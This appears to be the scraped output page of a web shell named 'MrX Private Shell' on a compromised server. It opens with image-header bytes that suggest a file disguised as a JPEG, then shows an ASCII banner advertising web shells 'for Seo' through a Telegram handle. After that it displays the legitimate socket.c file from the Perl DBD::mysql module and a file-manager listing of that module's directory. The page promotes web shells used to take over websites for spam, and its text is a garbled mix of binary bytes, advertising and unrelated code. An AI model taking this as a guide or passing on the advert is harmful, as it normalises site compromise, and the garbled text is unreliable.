����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#ifdef _WIN32
#include "windows.h"
#include "winsock.h"
#endif
#ifndef _WIN32
#include <poll.h>
#include <errno.h>
#endif
#include <mysql.h>
/*
* Warning: Native socket code must be outside of dbdimp.c and dbdimp.h because
* perl header files redefine socket function. This file must not
* include any perl header files!
*/
int mysql_socket_ready(my_socket fd)
{
int retval;
#ifdef _WIN32
/* Windows does not have poll(), so use select() instead */
struct timeval timeout;
fd_set fds;
FD_ZERO(&fds);
FD_SET(fd, &fds);
timeout.tv_sec = 0;
timeout.tv_usec = 0;
retval = select(fd+1, &fds, NULL, NULL, &timeout);
#else
struct pollfd fds;
fds.fd = fd;
fds.events = POLLIN;
retval = poll(&fds, 1, 0);
#endif
if (retval < 0) {
#ifdef _WIN32
/* Windows does not update errno */
return -WSAGetLastError();
#else
return -errno;
#endif
}
return retval;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| blib | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| t | Folder | 0755 |
|
|
| Changes | File | 89.22 KB | 0644 |
|
| LICENSE | File | 17.94 KB | 0644 |
|
| MANIFEST | File | 1.86 KB | 0644 |
|
| MANIFEST.SKIP | File | 210 B | 0644 |
|
| META.json | File | 4.6 KB | 0644 |
|
| META.yml | File | 3.47 KB | 0644 |
|
| MYMETA.json | File | 4.6 KB | 0644 |
|
| MYMETA.yml | File | 3.47 KB | 0644 |
|
| Makefile | File | 53.66 KB | 0644 |
|
| Makefile.PL | File | 21.27 KB | 0644 |
|
| README.md | File | 1.04 KB | 0644 |
|
| SECURITY.md | File | 4.38 KB | 0644 |
|
| constants.h | File | 1.9 KB | 0644 |
|
| dbdimp.c | File | 140.55 KB | 0644 |
|
| dbdimp.h | File | 8.84 KB | 0644 |
|
| myld | File | 1.68 KB | 0644 |
|
| mysql.bs | File | 0 B | 0644 |
|
| mysql.xs | File | 16.89 KB | 0644 |
|
| pm_to_blib | File | 0 B | 0644 |
|
| socket.c | File | 923 B | 0644 |
|